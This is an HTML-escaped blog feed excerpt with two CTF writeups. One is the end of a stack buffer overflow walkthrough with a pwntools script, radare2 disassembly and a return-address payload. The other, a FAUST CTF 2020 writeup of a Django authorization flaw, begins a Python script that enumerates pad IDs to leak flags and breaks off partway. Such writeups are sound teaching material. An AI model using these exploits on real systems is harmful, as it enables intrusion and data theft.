&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">fflush&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">vuln&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>All we have to do is overflow the &lt;code>buf&lt;/code> buffer and change the return pointer to &lt;code>win&lt;/code>.&lt;/p>
&lt;h3 id="exploitation">Exploitation&lt;/h3>
&lt;p>While you could just guess how many characters you need (in chunks of 4 after the 100 allocated for the buffer), and that &lt;em>is&lt;/em> what I did for this challenge, I&amp;rsquo;ll go through one of the theoretically correct ways to do this challenge with &lt;a href="https://www.radare.org/r/">radare&lt;/a>.&lt;/p>
&lt;p>To make my life easier, I have a simple python script that uses pwntools to startup the script and then enter the alphabet as input. It waits for the user to press Enter before sending the data so I have time to attach to the process with &lt;a href="https://www.radare.org/r/">radare&lt;/a>. Here it is below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">pwn&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">process&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./98972d672b0bcd184c0c6769bb083863-main&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">readline&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sol&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ&amp;#39;&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sendline&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sol&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>After running this, we can get the PID and start &lt;a href="https://www.radare.org/r/">radare&lt;/a> with &lt;code>r2 -d &amp;lt;pid&amp;gt;&lt;/code>. We can then proceed with seeking to main with &lt;code>s main&lt;/code>, opening up visual mode with &lt;code>V&lt;/code> and switching to the disassembly view with &lt;code>p&lt;/code>. Looking closely, we can see the call to the function that we are interested:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">0x00401270 e89bffffff call 0x401210
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Let&amp;rsquo;s go there with &lt;code>s 0x401210&lt;/code>. The entire disassembly can be seen here:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401210 &lt;span class="m">55&lt;/span> push rbp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401211 4889e5 mov rbp, rsp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401214 4883ec70 sub rsp, 0x70
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401218 488d4590 lea rax, &lt;span class="o">[&lt;/span>var_70h&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x0040121c 4889c7 mov rdi, rax
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x0040121f b800000000 mov eax, &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401224 e847feffff call sym.imp.gets &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>1&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> char *gets&lt;span class="o">(&lt;/span>char *s&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401229 488d4590 lea rax, &lt;span class="o">[&lt;/span>var_70h&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x0040122d 4889c7 mov rdi, rax
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401230 e8fbfdffff call sym.imp.puts &lt;span class="p">;&lt;/span>&lt;span class="o">[&lt;/span>2&lt;span class="o">]&lt;/span> &lt;span class="p">;&lt;/span> int puts&lt;span class="o">(&lt;/span>const char *s&lt;span class="o">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401235 &lt;span class="m">90&lt;/span> nop
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401236 c9 leave
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401237 c3 ret
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">|&lt;/span> 0x00401238 0f1f84000000. nop dword &lt;span class="o">[&lt;/span>rax + rax&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To find out where we are going to return to, let&amp;rsquo;s continue running the program until after the &lt;code>puts&lt;/code> call, at the &lt;code>leave&lt;/code> instruction, with &lt;code>dcu 0x00401236&lt;/code>. Now press enter in the running &lt;a href="https://www.python.org/">Python&lt;/a> script to have it send the alphabet. You should then see the message &lt;code>hit breakpoint at: 401236&lt;/code> in &lt;a href="https://www.radare.org/r/">radare&lt;/a>. Press Enter once to exit out of the &lt;a href="https://www.radare.org/r/">radare&lt;/a> prompt and press &lt;code>P&lt;/code> to switch to a hex view.&lt;/p>
&lt;p>The return address is pointed to by &lt;code>rbp&lt;/code>, so seek there with &lt;code>s rbp&lt;/code>. Here we see:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-hexdump" data-lang="hexdump">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1ab70&lt;/span> &lt;span class="mh">4343&lt;/span> &lt;span class="mh">4343&lt;/span> &lt;span class="mh">4444&lt;/span> &lt;span class="mh">4444&lt;/span> &lt;span class="mh">4545&lt;/span> &lt;span class="mh">4545&lt;/span> &lt;span class="mh">4646&lt;/span> &lt;span class="mh">4646&lt;/span> &lt;span class="err">|&lt;/span>&lt;span class="mh">CCCCDDDDEEEEFFFF&lt;/span>&lt;span class="err">|&lt;/span> &lt;span class="s">; rbp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1ab80&lt;/span> &lt;span class="mh">4747&lt;/span> &lt;span class="mh">4747&lt;/span> &lt;span class="mh">4848&lt;/span> &lt;span class="mh">4848&lt;/span> &lt;span class="mh">4949&lt;/span> &lt;span class="mh">4949&lt;/span> &lt;span class="mh">4a4a&lt;/span> &lt;span class="mh">4a4a&lt;/span> &lt;span class="p">|&lt;/span>&lt;span class="s">GGGGHHHHIIIIJJJJ&lt;/span>&lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1ab90&lt;/span> &lt;span class="mh">4b4b&lt;/span> &lt;span class="mh">4b4b&lt;/span> &lt;span class="mh">4c4c&lt;/span> &lt;span class="mh">4c4c&lt;/span> &lt;span class="mh">4d4d&lt;/span> &lt;span class="mh">4d4d&lt;/span> &lt;span class="mh">4e4e&lt;/span> &lt;span class="mh">4e4e&lt;/span> &lt;span class="p">|&lt;/span>&lt;span class="s">KKKKLLLLMMMMNNNN&lt;/span>&lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1aba0&lt;/span> &lt;span class="mh">4f4f&lt;/span> &lt;span class="mh">4f4f&lt;/span> &lt;span class="mh">5050&lt;/span> &lt;span class="mh">5050&lt;/span> &lt;span class="mh">5151&lt;/span> &lt;span class="mh">5151&lt;/span> &lt;span class="mh">5252&lt;/span> &lt;span class="mh">5252&lt;/span> &lt;span class="p">|&lt;/span>&lt;span class="s">OOOOPPPPQQQQRRRR&lt;/span>&lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1abb0&lt;/span> &lt;span class="mh">5353&lt;/span> &lt;span class="mh">5353&lt;/span> &lt;span class="mh">5454&lt;/span> &lt;span class="mh">5454&lt;/span> &lt;span class="mh">5555&lt;/span> &lt;span class="mh">5555&lt;/span> &lt;span class="mh">5656&lt;/span> &lt;span class="mh">5656&lt;/span> &lt;span class="p">|&lt;/span>&lt;span class="s">SSSSTTTTUUUUVVVV&lt;/span>&lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nl">0&lt;/span>&lt;span class="err">x&lt;/span>&lt;span class="mh">7ffe6db1abc0&lt;/span> &lt;span class="mh">5757&lt;/span> &lt;span class="mh">5757&lt;/span> &lt;span class="mh">5858&lt;/span> &lt;span class="mh">5858&lt;/span> &lt;span class="mh">5959&lt;/span> &lt;span class="mh">5959&lt;/span> &lt;span class="mh">5a5a&lt;/span> &lt;span class="mh">5a5a&lt;/span> &lt;span class="p">|&lt;/span>&lt;span class="s">WWWWXXXXYYYYZZZZ&lt;/span>&lt;span class="p">|&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which means that this function will return to &lt;code>CCCC&lt;/code>, but that&amp;rsquo;s not a valid address. However, this tells us exactly where to write our address. Our new input should look as follows:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBB&lt;/span>&lt;span class="o">&amp;lt;&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="o">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The address we want to use is &lt;code>0x4011a0&lt;/code> (found either with &lt;a href="https://www.radare.org/r/">radare&lt;/a> or as output from the program) which is &lt;code>b'\xa0\x11@\x00\x00\x00\x00\x00'&lt;/code> in &lt;a href="https://www.python.org/">Python&lt;/a> hex (which can be found using &lt;a href="https://github.com/Gallopsled/pwntools">pwntools&lt;/a>&amp;rsquo;s &lt;code>p64&lt;/code> with &lt;code>p64(0x4011a0)&lt;/code>). Now all you have to do is write a script that outputs exactly that (or any other 120 bytes plus the address) and you get the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stdout&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;a&amp;#39;&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">120&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\xa0\x11&lt;/span>&lt;span class="s1">@&lt;/span>&lt;span class="se">\x00\x00\x00\x00\x00&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>This is when &lt;a href="https://en.wikipedia.org/wiki/Unix_time">Unix time&lt;/a> starts.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>This depends on your solution, if you use &lt;code>%s&lt;/code> to get &lt;code>rcx&lt;/code> it could point to an invalid memory location. Using something like &lt;code>%p&lt;/code> to get &lt;code>rcx&lt;/code> should work.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Mars University - FAUST CTF 2020 Writeup</title><link>https://fluix.one/blog/faust-ctf-2020-marsu/</link><pubDate>Sun, 26 Jul 2020 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/faust-ctf-2020-marsu/</guid><description>&lt;p>&lt;a href="https://2020.faustctf.net/">&lt;em>FAUST CTF 2020: Exploring Planet Mars&lt;/em>&lt;/a> was my very first experience at an attack &amp;amp; defense CTF and I really enjoyed it. This writeup is coming out quite late, but I wanted to write about one of the problems I helped in solving, alongside &lt;a href="https://evanzhang.ca" class="userlink">&lt;span class="user"title="Evan Zhang">Ninjaclasher&lt;/span>&lt;/a>, and the rest of &lt;a href="https://ctftime.org/team/127228">my team&lt;/a>.&lt;/p>
&lt;h2 id="description">Description&lt;/h2>
&lt;p>&lt;code>marsu&lt;/code> was a service that consisted of a &lt;a href="https://www.djangoproject.com/">Django&lt;/a> web server which allowed users to create accounts, projects, and &amp;ldquo;pads&amp;rdquo; within these projects &amp;ndash; sort of like smaller notes within a larger notepad. When viewing a project, all the pads and their content were shown. These pads contained the flag which the gameserver added and could only be viewed through a project.&lt;/p>
&lt;p>Below is the code that creates a project and adds the pads the user selected into it. Keep in mind that the pads have already been created as &lt;a href="https://www.djangoproject.com/">Django&lt;/a> models and there&amp;rsquo;s nothing special or vulnerable there.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@ensure_csrf_cookie&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nd">@login_required&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">create&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">method&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;POST&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">NewProjectForm&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">POST&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">is_valid&lt;/span>&lt;span class="p">():&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;project/create.xml&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;form&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># TODO Step 2: confirm inviting new people&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proj&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Project&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proj&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">title&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;title&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proj&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proj&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">users&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">proj&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">pk&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">cleaned_data&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;pad&amp;#39;&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pad&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Pad&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">objects&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pk&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">pk&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pad&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">project&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">proj&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pad&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">HttpResponseRedirect&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">reverse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;project:view&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">proj&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">id&lt;/span>&lt;span class="p">,)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">form&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">NewProjectForm&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">render&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;project/create.xml&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="s1">&amp;#39;form&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">form&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="exploitation">Exploitation&lt;/h2>
&lt;p>The exploit comes in when the program loops through all added pads and attaches them directly to the project. There&amp;rsquo;s no validation that these pads aren&amp;rsquo;t already in other users&amp;rsquo; (such as the gameserver&amp;rsquo;s) projects, meaning one can simply loop through and try to add every single pad to a new project in an attempt to leak the flag. Our exploit does the following:&lt;/p>
&lt;ul>
&lt;li>Create an account&lt;/li>
&lt;li>Create a new project with a single pad with &lt;code>pk=160&lt;/code>&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/li>
&lt;li>Find the flag in the response&amp;rsquo;s content&lt;/li>
&lt;li>Create a new project with a single pad with &lt;code>pk+=1&lt;/code>&lt;/li>
&lt;li>Repeat&lt;/li>
&lt;li>Stop if there&amp;rsquo;s a gap of 30 non-existant &lt;code>pk&lt;/code>s&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">re&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">requests&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">secrets&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BASE_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;http://[&lt;/span>&lt;span class="si">{ip}&lt;/span>&lt;span class="s1">]:12345/&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ip&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">req&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">requests&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Session&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">reflag&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">compile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;(FAUST_[A-Za-z0-9/+]&lt;/span>&lt;span class="si">{32}&lt;/span>&lt;span class="s1">)&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">recsrf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">re&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">compile&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;lt;input type=&amp;#34;hidden&amp;#34; name=&amp;#34;csrfmiddlewaretoken&amp;#34; value=&amp;#34;(\w+)&amp;#34;&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">csrf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">recsrf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">search&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">req&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">BASE_URL&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;accounts/register&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">content&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">group&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">AttributeError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">raise&lt;/span> &lt;span class="ne">SystemExit&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">username&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">secrets&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">token_hex&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">secrets&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">token_hex&lt;/span>&lt;span class="p">()[:&lt;/span>&lt;span class="mi">25&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">req&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">post&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">BASE_URL&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s1">&amp;#39;accounts/register&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
